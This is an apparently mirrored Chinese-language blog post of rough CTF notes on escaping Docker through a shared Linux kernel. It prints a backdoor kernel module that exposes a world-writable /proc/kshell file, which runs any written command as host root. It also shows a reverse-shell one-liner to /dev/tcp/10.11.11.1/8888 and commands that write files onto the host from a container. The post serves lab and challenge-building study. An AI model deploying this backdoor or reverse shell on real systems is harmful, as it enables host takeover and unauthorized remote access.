2

Docker 逃逸 潦草笔记

 1 year ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/05/docker/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Docker 逃逸 潦草笔记

2022-06-05

| CTF/Pwn

参照从0到1的虚拟机逃逸三部曲,实现了一个通过linux内核后门对docker逃逸的例子。

docker原理

内核态漏洞

在ubuntu 20.04完成

在以linux为底座的情况下,由于docker和宿主机共用linux内核,这使得逃逸过程可以退化为对linux内核漏洞的利用。例如使用内核函数call_usermodehelper拉起的用户态进程就直接是在宿主机正常namespace的root进程,在docker里如果能触发完成此过程,则完成逃逸。例如使用如下后门内核模块:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>

MODULE_LICENSE("GPL");


static ssize_t kshell_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
    char buf[0x1000];
    copy_from_user(buf, ubuf, count);
    char *cmd_argv[] = {"/usr/bin/bash", "-c",buf,NULL};
    call_usermodehelper("/usr/bin/bash", cmd_argv, NULL, UMH_WAIT_PROC);

    return count;
}

const struct proc_ops myops = {
    .proc_write = kshell_write
};

static int kshell_init(void)
{
    printk(KERN_INFO "kernel shell, init!\n");
    proc_create("kshell",0666,NULL,&myops);
    return 0;
}
 
static void kshell_exit(void)
{
    remove_proc_entry("kshell", NULL);
    printk(KERN_INFO "kernel shell, exit!\n");
}
 
module_init(kshell_init);
module_exit(kshell_exit);
obj-m += hello.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

编译、insmod、并映射到docker容器中:

xuanxuan@ubuntu:~$ make
xuanxuan@ubuntu:~$ sudo insmod hello.ko
xuanxuan@ubuntu:~$ docker container run -v /proc/kshell:/kshell  -it ubuntu:18.04 bash

不过在最后利用的形式上与内核提权有所差异,由于namespace的影响,不直接通过回用户态然后执行/bin/sh在docker中获得一个宿主机的shell,但可以出网弹shell:

root@03ea4622e658:/# echo "/usr/bin/bash -i >& /dev/tcp/10.11.11.1/8888 0>&1 &" > /kshell

也可以使用落地文件,将命令在本地回显:

root@03ea4622e658:/opt# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/6NRKJVEFBBGFB3UAOG4SELSIPD:/var/lib/docker/overlay2/l/Q23MHYI2YS55FM6SSF64IX4ZSD,upperdir=/var/lib/docker/overlay2/be01093928ed89406df771649c8249d89b77598b05639bca139673bea7bc2a4e/diff,workdir=/var/lib/docker/overlay2/be01093928ed89406df771649c8249d89b77598b05639bca139673bea7bc2a4e/work)
root@03ea4622e658:/# echo "id > /var/lib/docker/overlay2/be01093928ed89406df771649c8249d89b77598b05639bca139673bea7bc2a4e/merged/1.txt" > /kshell 
root@03ea4622e658:/# cat 1.txt 
uid=0(root) gid=0(root) groups=0(root)

还可以在宿主机上弹计算机(GUI程序不能使用root,要切回普通用户,卡了一晚上):

root@03ea4622e658:/# echo "su xuanxuan -c 'DISPLAY=:0 /usr/bin/gnome-calculator &'" > /kshell

出题环境搭建

内核态的利用一般仍归属于linux内核,并且看起来更多的逃逸都是与docker的使用、配置相关,在二进制上攻破docker守护进程本身并不常见,所以暂时搁置。

不过由于逃逸,所以在搭建题目上需要做队伍间隔离,一般三层:docker(deploy)-> qemu(flag)-> docker(attack):


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK